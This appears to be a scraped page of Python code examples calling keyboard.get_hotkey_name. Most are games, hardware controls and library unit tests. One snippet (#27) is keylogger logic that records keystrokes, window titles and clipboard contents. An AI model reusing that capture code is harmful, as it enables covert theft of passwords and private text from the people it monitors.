Пример #1
0
def game_over(msg):
    global draw_var, anim_count, best_score, score, nonstop_mode, game_stats, nonstop_mode

    if not nonstop_mode:
        game_stats[2][0] += 1
    if not nonstop_mode:
        if best_score < score:
            best_score = score
            game_stats[6][0] = best_score

    save_data()
    blink = 300
    while not nonstop_mode:
        for event in pg.event.get():
            if event.type == pg.QUIT:
                pg.quit()
                sys.exit()
        window.fill((0 , 0, 0))
        textsurface = main_font.render("YOU LOST", False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 100))
        textsurface = button_font.render(msg, False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10) + 430, 150))

        if blink > 100:
            textsurface = text_font.render("PRESS SPACE TO RESTART", False, (255, 255, 255))
            window.blit(textsurface, (1550, height - 100))
            textsurface = text_font.render("PRESS ESC TO CONTINUE", False, (255, 255, 255))
            window.blit(textsurface, (1550, height - 70))
        blink -= 1
        if blink == 0:
            blink = 300

        txt = f"YOUR SCORE : {score}"
        textsurface = title_font.render(txt, False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 500))

        txt = f"BEST SCORE : {best_score}"
        textsurface = title_font.render(txt, False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 600))
        pg.display.update()

        if get_hotkey_name().lower() == "space":
            score = 0
            draw_var = (1, 2)
            break
        if get_hotkey_name().lower() == "esc":
            score = 0
            anim_count = 1000
            draw_var = (0, 0)
            break

    if nonstop_mode:
        draw_var = (1, 2)
Пример #2
0
def record_hotkey():
    max_len = 0
    keypress = ""
    while not keyboard.get_hotkey_name():
        time.sleep(.01)
    _n = keyboard.get_hotkey_name()
    while _n:
        if len(_n.split("+")) > max_len:
            max_len = len(_n.split("+"))
            keypress = _n
        time.sleep(.01)
        _n = keyboard.get_hotkey_name()
    return keyboard.normalize_name(keypress)
Пример #3
0
 def key_pressed(self, e) -> None:
     if not self.collecting or keyboard.is_modifier(e.scan_code):
         return
     hk = keyboard.get_hotkey_name()
     for m in MODIFIERS:
         if keyboard.is_pressed(m) and not keyboard.is_modifier(hk) and hk not in ALL_SHORTCUTS:
             self.count += 1
             logging.debug(f"Shortcut: {hk}")
             return
Пример #4
0
def detect_user_inactivity():
    # Detect user inactivity by detecting screen change + mouse movement + key press
    seconds_inactive = 0
    screenshot_1 = ImageGrab.grab()
    mouse_saved_pos = win32api.GetCursorPos()
    keys_saved_pressed = keyboard.get_hotkey_name()
    sleep = 20  # seconds
    while seconds_inactive < sleep * 9:  # 3 minutes of mouse + keyboard + screen inactivity
        time.sleep(sleep)
        screen_changed, screenshot_1 = has_screen_changed(screenshot_1)
        mouse_pos, keys_pressed = win32api.GetCursorPos(
        ), keyboard.get_hotkey_name()
        if screen_changed or mouse_saved_pos != mouse_pos or keys_saved_pressed != keys_pressed:
            mouse_saved_pos, keys_saved_pressed = mouse_pos, keys_pressed
            seconds_inactive = 0
        else:
            seconds_inactive += sleep
    return
Пример #5
0
 def run(self):
     self.navigationSettings(key='', lang="ru")
     self.speechSettings("ru")
     # self.video.start()
     print "Video module has been started"
     numt = 0
     self.video.start()
     self.audio.start()
     playTrack('audio', 'listen.mp3')
     while self.running:
         if keyboard.get_hotkey_name() == "shift":
             self.audio.displayMode(False)
             self.video.setOperationType('')
             aud = self.speech.record()
             txt = self.speech.recognize(aud)
             print txt
             command, result = self.parseSpeechInput(txt)
             if result['from'] != '' and result['to'] != '':
                 direction = self.nav.makeDirection(result['from'],
                                                    result['to'])
                 self.convertRouteToAudio(direction)
                 numt = 0
         if keyboard.get_hotkey_name() == "ctrl":
             self.audio.displayMode(False)
             self.video.setOperationType('')
             self.navTrackPlay(numt)
             numt += 1
         if keyboard.get_hotkey_name() == "alt":
             self.audio.displayMode(False)
             self.video.setOperationType('')
             numt -= 1
             self.navTrackPlay(numt)
         if keyboard.get_hotkey_name() == "tab":
             self.audio.displayMode(True)
             self.video.setOperationType('ObjectDetection')
         if keyboard.get_hotkey_name() == "space":
             self.audio.displayMode(True)
             self.video.setOperationType('TextReading')
         if self.audio.getDisplayMode():
             self.audio.sendData(self.video.getData())
Пример #6
0
def keyboard_record():
    record = kb.get_hotkey_name()

    if record == "up":
        return [1, 0, 0]
    elif record == "down":
        return [0, 1, 0]
    elif record == "p":
        return [5, 5, 5]
    elif record == "s":
        return [6, 6, 6]
    else:
        return [0, 0, 1]
Пример #7
0
class press_detect(Thread):
    key_combo_next = keyboard.get_hotkey_name(['ctrl','alt','n'])
    key_combo_pause = keyboard.get_hotkey_name(['ctrl','alt','p'])
    status = True

    key_next = False
    skip_val = False

    key_pause = False
    pause_val = False
    def __init__(self):
        Thread.__init__(self)
    def run(self):
        keyboard.add_hotkey(self.key_combo_next, self.skip_func)
        keyboard.add_hotkey(self.key_combo_pause, self.pause_func)
        while self.status is True:
            if(self.key_next is True):
                self.skip_val = True
                self.key_next = False
            if(self.key_pause is True):
                self.pause_val = True
                self.key_pause = False
    def skip_func(self):
        self.key_next = True
    def pause_func(self):
        self.key_pause = True
    def skip(self):
        if(self.skip_val is True):
            self.skip_val = False
            return True
        else:
            return False
    def pause(self):
        if(self.pause_val is True):
            self.pause_val = False
            return True
        else:
            return False
Пример #8
0
def play(hk):
    try:
        hotkeypressed = keyboard.get_hotkey_name()
        for i in hk:
            if i[1] == hotkeypressed:
                media = root.instanz_vlc.media_new(i[0])
                print("mediavariable: " + str(media))
                root.player.set_media(media)
                root.player.play()
    except:
        print(
            "Variable " + hotkeypressed +
            " wurde nicht gefundenoder es ist etwas in der funktion 'def play(hk) schiefgelaufen'"
        )
Пример #9
0
def win():
    global draw_var, anim_count, wins, best_score, score, round_time, nonstop_mode, game_stats, nonstop_mode
    wins += 1
    if not nonstop_mode:
        game_stats[1][0] += 1

    if not nonstop_mode:
        current_score = (10 * int(player.fuel / 10) - int(round((time.time() - round_time) * 5, 0 ))) + 100
        if current_score < 0:
            current_score = 0
        score += current_score
        if best_score < score:
            best_score = score
            game_stats[6][0] = score

    save_data()
    blink = 300
    while not nonstop_mode:
        for event in pg.event.get():
            if event.type == pg.QUIT:
                pg.quit()
                sys.exit()
        window.fill((0, 0, 0))
        textsurface = main_font.render("YOU LANDED", False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 100))
        if blink > 100:
            textsurface = text_font.render("PRESS SPACE TO CONTINUE", False, (255, 255, 255))
            window.blit(textsurface, (int(1550 ), height-100))
        blink -= 1
        if blink == 0:
            blink = 300

        txt = f"CURRENT SCORE : {current_score}"
        textsurface = title_font.render(txt, False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 500))

        txt = f"TOTAL SCORE : {score}"
        textsurface = title_font.render(txt, False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 600))

        txt = f"BEST SCORE : {best_score}"
        textsurface = title_font.render(txt, False, (255, 255, 255))
        window.blit(textsurface, (int(width / 10), 700))
        pg.display.update()

        if get_hotkey_name().lower() == "space":
            break

    draw_var = (1, 2)
Пример #10
0
class press_detect(Thread):
    

    key = False
    key_combo = keyboard.get_hotkey_name(['ctrl','alt','n'])
    status = True
    def __init__(self):
        Thread.__init__(self)
    def run(self):
        keyboard.add_hotkey(self.key_combo, self.val)
        while self.status is True:
            if(self.key is True):
                print("Hello!")
                self.key = False

    def val(self):
        self.key = True
Пример #11
0
    def main(self):

        self.ui.splashPrint(system)

        timer = perf_counter()

        while True:

            cycleUpdate = perf_counter()

            if get_hotkey_name() in self.snake.keys.keys():
                self.key = self.snake.keyEvent(get_hotkey_name)

            if cycleUpdate >= timer + self.updateRate:
                self.snake.moveHead(self.key)
                self.snake.incrementTrunk()

                if self.snake.checkCollision(self.boardScale) == True:
                    self.highScore = self.getHighScore()
                    self.ui.loseScreen(self.score, self.highScore, system,
                                       send)
                    self.newGame()

                self.object.checkFood(self.snake.headPos)

                if self.object.check == True:
                    self.object.removeFood(self.snake.headPos)
                    self.score += 1
                    self.snake.growTrunk()

                elif self.object.check == False and self.object.foodSpawned == False:
                    self.object.spawnFood(self.board, self.snake, choice)

                self.board.updatePositions(self.snake, self.object)

                self.ui.printBoard(self.board.board, self.boardScale,
                                   self.score, self.highScore)
                timer = perf_counter()

            cursorManager.setCursorPosition(6, 0, "")
Пример #12
0
def eye_calibration():
    stopped = False

    while not stopped:
        record = kb.get_hotkey_name()

        if (record == 'e'):
            stopped = True

        with mss.mss() as sct:

            monitor = {'top': 350, 'left': 179, 'width': 613, 'height': 159}
            screen = sct.grab(monitor)

        img = np.array(screen)
        processed_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        processed_img = cv2.bilateralFilter(processed_img, 3, 75, 75)
        processed_img = cv2.resize(processed_img, (102, 25))

        cv2.imshow('window', processed_img)
        if cv2.waitKey(25) & 0xFF == ord('q'):
            cv2.destroyAllWindows()
            break
Пример #13
0
def handle_motor_pos(event):
    global increment
    global curr_pos
    global current_state
    global pos_offset
    # print(keyboard.get_hotkey_name() == "q")
    # change increment
    if keyboard.get_hotkey_name() == '1':
        increment -= 1
        increment = max(0, increment)
        print("current increment %d" % (increment))

    elif keyboard.get_hotkey_name() == '2':
        increment += 1
        increment = min(20, increment)
        print("current increment %d" % (increment))

    # move motors
    if keyboard.get_hotkey_name() == 'q':
        curr_pos[0] += increment
    if keyboard.get_hotkey_name() == 'a':
        curr_pos[0] -= increment
    if keyboard.get_hotkey_name() == 'w':
        curr_pos[1] += increment
    if keyboard.get_hotkey_name() == 's':
        curr_pos[1] -= increment
    if keyboard.get_hotkey_name() == 'e':
        curr_pos[2] += increment
    if keyboard.get_hotkey_name() == 'd':
        curr_pos[2] -= increment
    if keyboard.get_hotkey_name() == 'r':
        curr_pos[3] += increment
    if keyboard.get_hotkey_name() == 'f':
        curr_pos[3] -= increment
    if keyboard.get_hotkey_name() == 't':
        curr_pos[4] += increment
    if keyboard.get_hotkey_name() == 'g':
        curr_pos[4] -= increment
    if keyboard.get_hotkey_name() == 'y':
        curr_pos[5] += increment
    if keyboard.get_hotkey_name() == 'h':
        curr_pos[5] -= increment
    if keyboard.get_hotkey_name() == 'u':
        curr_pos[6] += increment
    if keyboard.get_hotkey_name() == 'j':
        curr_pos[6] -= increment
    if keyboard.get_hotkey_name() == 'i':
        curr_pos[7] += increment
    if keyboard.get_hotkey_name() == 'k':
        curr_pos[7] -= increment
    if keyboard.get_hotkey_name() == 'o':
        curr_pos[8] += increment
    if keyboard.get_hotkey_name() == 'l':
        curr_pos[8] -= increment
    if keyboard.get_hotkey_name() == 'x':
        curr_pos[0] += increment
        curr_pos[1] += increment
        curr_pos[2] += increment
    if keyboard.get_hotkey_name() == 'z':
        curr_pos[0] -= increment
        curr_pos[1] -= increment
        curr_pos[2] -= increment
    if keyboard.get_hotkey_name() == 'v':
        curr_pos[3] += increment
        curr_pos[4] += increment
        curr_pos[5] += increment
    if keyboard.get_hotkey_name() == 'c':
        curr_pos[3] -= increment
        curr_pos[4] -= increment
        curr_pos[5] -= increment
    if keyboard.get_hotkey_name() == 'n':
        curr_pos[6] += increment
        curr_pos[7] += increment
        curr_pos[8] += increment
    if keyboard.get_hotkey_name() == 'b':
        curr_pos[6] -= increment
        curr_pos[7] -= increment
        curr_pos[8] -= increment
    if keyboard.get_hotkey_name() == 'm':
        curr_pos[6] += 2 * increment
        curr_pos[7] -= increment
        curr_pos[8] -= increment
    if keyboard.get_hotkey_name() == ',':
        curr_pos[6] -= 2 * increment
        curr_pos[7] += increment
        curr_pos[8] += increment

    if current_state == 1:
        # Send to Serial
        for ii in range(3):
            curr_pos[ii] = min(90, curr_pos[ii])
            curr_pos[ii] = max(0, curr_pos[ii])
            curr_pos[ii + 3] = min(90, curr_pos[ii + 3])
            curr_pos[ii + 3] = max(-90, curr_pos[ii + 3])
        for m_id in range(9):
            gripper[m_id].move_to_pos(curr_pos[m_id] + pos_offset[m_id])
            # Receive from Serial

        gripper[0].request_vals()
        sensor_val = gripper[0].recv_from_serial()

        if sensor_val != None:
            base0 = sensor_val[0] - pos_offset[0]
            base1 = sensor_val[1] - pos_offset[1]
            base2 = sensor_val[2] - pos_offset[2]
            print([base0, base1, base2])
        else:
            print("sensor_val = None")
        time.sleep(0.05)
    # change calibration
    if keyboard.get_hotkey_name() == '=':
        pos_offset[cal_motor] += 1
        print("motor %d offset = %d" % (cal_motor, pos_offset[cal_motor]))
    if keyboard.get_hotkey_name() == '-':
        pos_offset[cal_motor] -= 1
        print("motor %d offset = %d" % (cal_motor, pos_offset[cal_motor]))
    if current_state == 0:
        # set all positions to initial value
        for m_id in range(9):
            gripper[m_id].move_to_pos(pos_offset[m_id])
Пример #14
0
 def test_get_hotkey_name_from_pressed(self):
     self.do(du_c+d_ctrl+d_a+d_b)
     self.assertEqual(keyboard.get_hotkey_name(), 'ctrl+a+b')
Пример #15
0
 def test_get_hotkey_name_multiple(self):
     self.assertEqual(keyboard.get_hotkey_name(['ctrl', 'b', '!', 'a']),
                      'ctrl+!+a+b')
Пример #16
0
 def test_get_hotkey_name_duplicated(self):
     self.assertEqual(keyboard.get_hotkey_name(['+', 'plus']), 'plus')
Пример #17
0
 def test_get_hotkey_name_normalize(self):
     self.assertEqual(keyboard.get_hotkey_name(['SHIFT', 'left ctrl']),
                      'ctrl+shift')
Пример #18
0
 def test_get_hotkey_name_simple(self):
     self.assertEqual(keyboard.get_hotkey_name(['a']), 'a')
Пример #19
0
    def _hk_txt(hotkey):
        """
        Returns the processed text for the hotkey to be displayed
        """

        return keyboard.normalize_name(keyboard.get_hotkey_name(hotkey))
Пример #20
0
 def test_get_hotkey_name_plus(self):
     self.assertEqual(keyboard.get_hotkey_name(['+']), 'plus')
Пример #21
0
        if math.sqrt(abs(playerX - enemy.x)**2 +
                     abs(playerY - enemy.y)**2) <= 35:
            eg.fill(window, (0, 0, 0))
            eg.draw_text(window,
                         eg.color.red,
                         250,
                         200,
                         "GAME OVER",
                         size=40,
                         draw_offset="center")
            eg.draw_text(window,
                         eg.color.white,
                         250,
                         250,
                         "press any key to end",
                         size=15,
                         draw_offset="center")
            pressed = True
            while True:
                eg.update()
                if keyboard.get_hotkey_name() != "":
                    if not pressed:
                        quit()
                else:
                    pressed = False

    movement()
    main_draw()
    eg.update()
Пример #22
0
 def test_get_hotkey_name_duplicated(self):
     self.assertEqual(keyboard.get_hotkey_name(['+', 'plus']), 'plus')
Пример #23
0
import keyboard
import gym
import gym_foo

env = gym.make('foo-v0')
env.reset()
env.doPlot = True
isdone = False
prev_action = 0
t = 0
while not isdone:
    action = 1
    hotkey = keyboard.get_hotkey_name()
    if hotkey != "":
        print(hotkey)
        if hotkey == "a":
            action = 2
        elif hotkey == "d":
            action = 0
        else:
            action = 1
    #if keyboard.is_pressed('a'):  # if key 'q' is pressed
    a, b, isdone, c = env.step(action)
    env.render()
    t += env.ts
print(t)
Пример #24
0
 def getHotKey():
     return keyboard.get_hotkey_name()
Пример #25
0
 def test_get_hotkey_name_full(self):
     self.assertEqual(keyboard.get_hotkey_name(['+', 'left ctrl', 'shift', 'WIN', 'right alt']), 'ctrl+alt+shift+windows+plus')
Пример #26
0
 def test_get_hotkey_name_simple(self):
     self.assertEqual(keyboard.get_hotkey_name(['a']), 'a')
Пример #27
0
def key_callback(event):
    keys_pressed = keyboard.get_hotkey_name()
    is_pressed_ctrl = is_pressed('ctrl')
    is_pressed_r_ctrl = is_pressed('right ctrl')
    is_pressed_shift = is_pressed('shift')
    is_pressed_r_shift = is_pressed('right shift')

    global line_buffer, window_name, time_logged, clipboard_logged, upper_case, capslock_on, shift_on, \
        backspace_buffer_len

    if event.event_type == 'up':
        if event.name in ['shift', 'right shift']:  # SHIFT UP
            shift_on = False
            upper_case = update_upper_case()
        return True

    window_buffer, time_buffer, clipboard_buffer = '', '', ''

    # 1. Detect the active window change - if so, LOG THE WINDOW NAME
    user32 = ctypes.WinDLL('user32', use_last_error=True)
    curr_window = user32.GetForegroundWindow()
    event_window_name = win32gui.GetWindowText(curr_window)
    if window_name != event_window_name:
        window_buffer = '\n[WindowName: ' + event_window_name + ']: '
        window_name = event_window_name  # set the new value

    # 2. if MINUTES_TO_LOG_TIME minutes has passed - LOG THE TIME
    now = datetime.now()
    if now - time_logged > timedelta(minutes=MINUTES_TO_LOG_TIME):
        time_buffer = '\n[Time: ' + ('%02d:%02d' %
                                     (now.hour, now.minute)) + ']: '
        time_logged = now  # set the new value

    # 3. if clipboard changed, log it
    curr_clipboard = get_clipboard_value()
    if curr_clipboard:
        if curr_clipboard != clipboard_logged:
            clipboard_buffer = '\n[Clipboard: ' + curr_clipboard + ']: '
            clipboard_logged = curr_clipboard  # set the new value

    if time_buffer != "" or window_buffer != "" or clipboard_buffer != "":
        if line_buffer != "":
            log_it()  # log anything from old window / times / clipboard
        line_buffer = time_buffer + window_buffer + clipboard_buffer  # value to begin with
        """ backspace_buffer_len = the number of symbols of line_buffer up until the last technical tag (including it) 
         - window name, time or key tags (<BACKSPACE>, etc.).
        len(line_buffer) - backspace_buffer_len = the number of symbols that we can safely backspace.
        we increment backspace_buffer_len variable only when we append technical stuff
        (time_buffer or window_buffer or <KEYS>): """
        backspace_buffer_len = len(line_buffer)

    key_pressed = ''

    # 3. DETERMINE THE KEY_PRESSED GIVEN THE EVENT
    if event.name in ['left',
                      'right']:  # arrow keys  # 'home', 'end', 'up', 'down'
        key_pressed_list = list()
        if is_pressed_ctrl or is_pressed_r_ctrl:
            key_pressed_list.append('ctrl')
        if is_pressed_shift or is_pressed_r_shift:
            key_pressed_list.append('shift')
        key_pressed = '<' + '+'.join(key_pressed_list) + (
            '+' if len(key_pressed_list) > 0 else '') + event.name + '>'
        line_buffer += key_pressed
        backspace_buffer_len = len(line_buffer)
    elif event.name in ['ctrl', 'alt', 'delete']:
        if keys_pressed == 'ctrl+alt+delete':
            os.kill(os.getpid(), 9)
            exit()
    elif event.name == 'space':
        key_pressed = ' '
    elif event.name in ['enter', 'tab']:
        key_pressed = '<TAB>' if event.name == 'tab' else '<ENTER>'
        line_buffer += key_pressed
        backspace_buffer_len = len(line_buffer)
        log_it()  # pass event to other handlers
        return True
    elif event.name == 'backspace':
        if len(line_buffer) - backspace_buffer_len > 0:
            line_buffer = line_buffer[:-1]  # remove the last character
        else:
            line_buffer += '<BACKSPACE>'
            backspace_buffer_len = len(line_buffer)
    elif event.name == 'caps lock':  # CAPS LOCK
        upper_case = not upper_case
        capslock_on = not capslock_on
    elif event.name in ['shift', 'right shift']:  # SHIFT DOWN
        shift_on = True
        upper_case = update_upper_case()
    else:
        key_pressed = event.name
        if len(key_pressed) == 1:
            # if some normal character
            # 3.1. DETERMINE THE SELECTED LANGUAGE AND TRANSLATE THE KEYS IF NEEDED
            # There is a keyboard module bug: when we start a program in one layout and then switch to another,
            # the layout of hooked input DOES NOT change. So we need a workaround.
            language = detect_key_layout()
            global latin_into_cyrillic_trantab, cyrillic_layouts
            if 'English' in language and 'English' not in initial_language:
                # cyrillic -> latin reverse translation is required
                if ord(key_pressed) in cyrillic_into_latin_trantab:
                    key_pressed = chr(
                        cyrillic_into_latin_trantab[ord(key_pressed)])
            elif language in cyrillic_layouts and initial_language not in cyrillic_layouts:
                # latin -> cyrillic translation is required
                if ord(key_pressed) in latin_into_cyrillic_trantab:
                    key_pressed = chr(
                        latin_into_cyrillic_trantab[ord(key_pressed)])

            # apply upper or lower case
            key_pressed = key_pressed.upper(
            ) if upper_case else key_pressed.lower()
        else:
            # unknown character (eg arrow key, shift, ctrl, alt)
            return True  # pass event to other handlers

    # 4. APPEND THE PRESSED KEY TO THE LINE_BUFFER
    line_buffer += key_pressed

    # 5. DECIDE ON WHETHER TO LOG CURRENT line_buffer OR NOT:
    if len(line_buffer) >= CHAR_LIMIT:
        log_it()
    return True  # pass event to other handlers
Пример #28
0
def key_press_handler():
    global quickSettingsK, command, commandTimeout, commandBlock, globalY, globalX, fuel, hyperCharge, inventoryOpen, inventoryPressed

    if is_pressed("`"):
        if time.time() - commandTimeout > 0.5:
            if command == None:
                command = ""
                commandTimeout = time.time()
            else:
                command = None
                commandTimeout = time.time()
            commandBlock = True
    if command != None:
        try:
            key = get_hotkey_name()[0]
            if not commandBlock:
                if get_hotkey_name() == "backspace":
                    command_ = ""
                    for n in range(len(command) - 1):
                        command_ += command[n]
                    command = command_
                elif get_hotkey_name() == "space":
                    command += " "
                    commandBlock = True
                elif get_hotkey_name() == "enter":  # commands here
                    if command_comparing(command, "tp to"):
                        backup = [globalX, globalY]
                        try:
                            globalX = int(command_parsing(command)[2])
                            globalY = int(command_parsing(command)[3])
                        except:
                            globalX = backup[0]
                            globalY = backup[1]
                            message.append(
                                f'Wierd coordinates for "tp to" ({command_parsing(command)[2]} X {command_parsing(command)[3]})'
                            )
                            messageTiming.append(time.time())
                    elif command_comparing(command, "tp player"):
                        globalX = poz[0] - int(width / 2)
                        globalY = poz[1] - int(height / 2)
                    elif command_comparing(command, "set fuel"):
                        ammount = int(command_parsing(command)[2])
                        if ammount > 10:
                            ammount = 10
                        if ammount < 0:
                            ammount = 0
                        fuel = ammount
                    elif command_comparing(command, "help"):
                        message.append(
                            ">>> hyper full = fully recharge hyper jump")
                        messageTiming.append(time.time())
                        message.append(
                            ">>> set fuel N = set fuel to max N(0 - 10)")
                        messageTiming.append(time.time())
                        message.append(
                            ">>> tp to X Y = tp to exact coordinates given by player (X, Y)"
                        )
                        messageTiming.append(time.time())
                        message.append(
                            ">>> tp player = tp to player coordinates")
                        messageTiming.append(time.time())
                        message.append(">>> get seed = prints out world seed")
                        messageTiming.append(time.time())
                        message.append(
                            ">>> get poz = prints out global coordinates")
                        messageTiming.append(time.time())
                        message.append(">>> help = list all commands")
                        messageTiming.append(time.time())
                    elif command_comparing(command, "get seed"):
                        print("seed =", worldSeed)
                    elif command_comparing(command, "get poz"):
                        print("poz(X, Y) = " + str(globalX) + ", " +
                              str(globalY))
                    elif command_comparing(command, "hyper full"):
                        hyperCharge = True
                    else:
                        if command != "":
                            message.append(f'>>> Unknown command "{command}"')
                            messageTiming.append(time.time())
                    command = None
                else:
                    command += key
                commandBlock = True
        except:
            commandBlock = False

    if is_pressed("esc"):
        print(">>> game was closed with esc")
        quit()

    if command == None:
        if drawScene == 0:
            if is_pressed("i"):
                if not inventoryPressed:
                    if inventoryOpen:
                        inventoryOpen = False
                    else:
                        inventoryOpen = True
                    inventoryPressed = True
            else:
                inventoryPressed = False

    x, y = 0, 0
    if command == None:
        if is_pressed("w"):
            if is_pressed("shift"):
                y -= quickSettingsK[0] * quickSettingsK[1]
            else:
                y -= quickSettingsK[0]
        elif is_pressed("s"):
            if is_pressed("shift"):
                y += quickSettingsK[0] * quickSettingsK[1]
            else:
                y += quickSettingsK[0]

        if is_pressed("a"):
            if is_pressed("shift"):
                x -= quickSettingsK[0] * quickSettingsK[1]
            else:
                x -= quickSettingsK[0]
        elif is_pressed("d"):
            if is_pressed("shift"):
                x += quickSettingsK[0] * quickSettingsK[1]
            else:
                x += quickSettingsK[0]

    return x, y
Пример #29
0
    def update(self):
        global game_stats, nonstop_mode
        mouse = pg.mouse.get_pos()
        mouse_c = pg.mouse.get_pressed()
        keys_ = get_hotkey_name() + '+'
        keys = []
        key_ = ''
        for key in keys_:
            if key == '+':
                keys.append(key_)
                key_ = ''
            else:
                key_ = key_ + key.lower()

            # ACCELERATION if mouse == 1
            self.flame = False
            if mouse_c[0] == 1 and self.fuel > 0:
                self.x_acc += cos(self.angle) * self.speed
                self.y_acc += sin(self.angle) * self.speed
                self.fuel -= 1
                if not nonstop_mode:
                    game_stats[0][0] += 1
                self.flame = True
            else:
                self.y_acc += 0.1
                if self.x_acc > 0:
                    self.x_acc -= 0.01
                else:
                    self.x_acc += 0.01

        # APPLY WIND MOVEMENT TO PLAYER
        for index in range(len(wind) - 1):
            if wind[index][1] > player.y > wind[index][0]:
                if self.windD[1] != index:
                    self.windD = (0.0, index)
                self.x_acc += (wind[index][2]/60) * self.windD[0]
                if self.windD[0] < 1:
                    self.windD = (round(self.windD[0] + 0.05, 2), self.windD[1])
                break

        # over the edge prevention
        if self.x > width - player.size:
            self.x = player.size
            self.world += 1
            if self.world > 10:
                game_over(random.choice(msg_travel_far))
                if not nonstop_mode:
                    game_stats[5][0] += 1
                self.world = 5
        if self.x < player.size:
            self.x = width - player.size
            self.world -= 1
            if self.world < 0:
                game_over(random.choice(msg_travel_far))
                if not nonstop_mode:
                    game_stats[5][0] += 1
                self.world = 5
        if self.y > height:
            sys.exit()

        # GROUND COLLISION CALCULATION
        GH = ground_height(self.x)

        if end_platform[2] == 0:
            if end_platform[0] > player.x > end_platform[0] - 100:
                if end_platform[1] - player.size > player.y > end_platform[1] - 30:
                    GH = end_platform[1]
        else:
            if end_platform[0] < player.x < end_platform[0] + 100:
                if end_platform[1] - player.size > player.y > end_platform[1] - 30:
                    GH = end_platform[1]

        if GH <= self.y+player.size:
            if terrain[player.world][target[1] - 1][0] < player.x < terrain[player.world][target[1] + 1][
                1] and player.world == target[0]:
                if not nonstop_mode:
                    game_stats[4][0] += 1
                game_over("but you at least hit te TARGET")
            else:
                game_over(random.choice(msg_ground_hit))

        # END PLATFORM COLLISION CALCULATION
        if player.world == 5:
            if end_platform[2] == 0:
                if end_platform[0] > player.x > end_platform[0] - 100:
                    if end_platform[1] - 19 > player.y > end_platform[1] - 30:
                        if player.x_acc < 4:
                            if player.y_acc < 5:
                                win()
                            else:
                                if player.y < end_platform[1] - player.size:
                                    game_over(random.choice(msg_hard_landing))
                        else:
                            if player.y < end_platform[1] - player.size:
                                game_over(random.choice(msg_hard_landing))
            else:
                if end_platform[0] < player.x < end_platform[0] + 100:
                    if end_platform[1] - player.size > player.y > end_platform[1] - 30:
                        if player.x_acc < 4:
                            if player.y_acc < 5:
                                win()
                            else:
                                if player.y < end_platform[1] - player.size:
                                    game_over(random.choice(msg_hard_landing))
                        else:
                            if player.y < end_platform[1] - player.size:
                                game_over(random.choice(msg_hard_landing))

        # point in the direction of the mouse
        self.angle = atan2(self.aim[0] - self.x, self.aim[1] - self.y) * -1 + pi/2
        self.aim = mouse

        # beautifying PLAYER DATA
        if self.angle > pi*2:
            self.angle -= pi*2
        if self.angle < 0:
            self.angle += pi*2

        self.x += self.x_acc / 2
        self.y += self.y_acc / 2

        self.x = round(self.x, 2)
        self.y = round(self.y, 2)
Пример #30
0
 def test_get_hotkey_name_normalize(self):
     self.assertEqual(keyboard.get_hotkey_name(['SHIFT', 'left ctrl']), 'ctrl+shift')
Пример #31
0
 def test_get_hotkey_name_modifiers(self):
     self.assertEqual(keyboard.get_hotkey_name(['a', 'shift', 'ctrl']),
                      'ctrl+shift+a')
Пример #32
0
 def key_pressed(self, e) -> None:
     if not self.collecting:
         return
     if keyboard.get_hotkey_name() in CODE_ASSIST_SHORTCUTS:
         self.count += 1
         logging.debug(f"Code assist: {keyboard.get_hotkey_name()}")
Пример #33
0
 def test_get_hotkey_name_plus(self):
     self.assertEqual(keyboard.get_hotkey_name(['+']), 'plus')
Пример #34
0

if __name__ == '__main__':
    cursor.hide()
    # disable console echo on unix-based systems (Linux/OS X)
    if platform.system() in ['Linux', 'Darwin']:
        import termios
        atexit.register(toggle_console_echo, sys.stdin.fileno(), enabled=True)
        toggle_console_echo(sys.stdin.fileno(), enabled=False)

    game = Game()
    game.init_level()
    colorama.init()

    clear_screen()
    for line in game.instructions:
        print_at_coords(line, alignment='<')
    keyboard.wait('s')

    print_at_coords(game.begin_screen_text)
    time.sleep(2)
    game.start_time = datetime.now()

    update_screen(game)
    keyboard.on_press(lambda _: game.process_keypress(
        keyboard_to_direction.get(keyboard.get_hotkey_name(),
                                  [Instructions.SAME, Instructions.SAME])))

    game.wait_quit('esc')
    print_exit_screen(game.exit_screen_text)
Пример #35
0
 def test_get_hotkey_name_full(self):
     self.assertEqual(
         keyboard.get_hotkey_name(
             ['+', 'left ctrl', 'shift', 'WIN', 'right alt']),
         'ctrl+alt+shift+windows+plus')
Пример #36
0
 def test_get_hotkey_name_modifiers(self):
     self.assertEqual(keyboard.get_hotkey_name(['a', 'shift', 'ctrl']), 'ctrl+shift+a')
Пример #37
0
 def test_get_hotkey_name_from_pressed(self):
     self.do(du_c + d_ctrl + d_a + d_b)
     self.assertEqual(keyboard.get_hotkey_name(), 'ctrl+a+b')
Пример #38
0
 def test_get_hotkey_name_multiple(self):
     self.assertEqual(keyboard.get_hotkey_name(['ctrl', 'b', '!', 'a']), 'ctrl+!+a+b')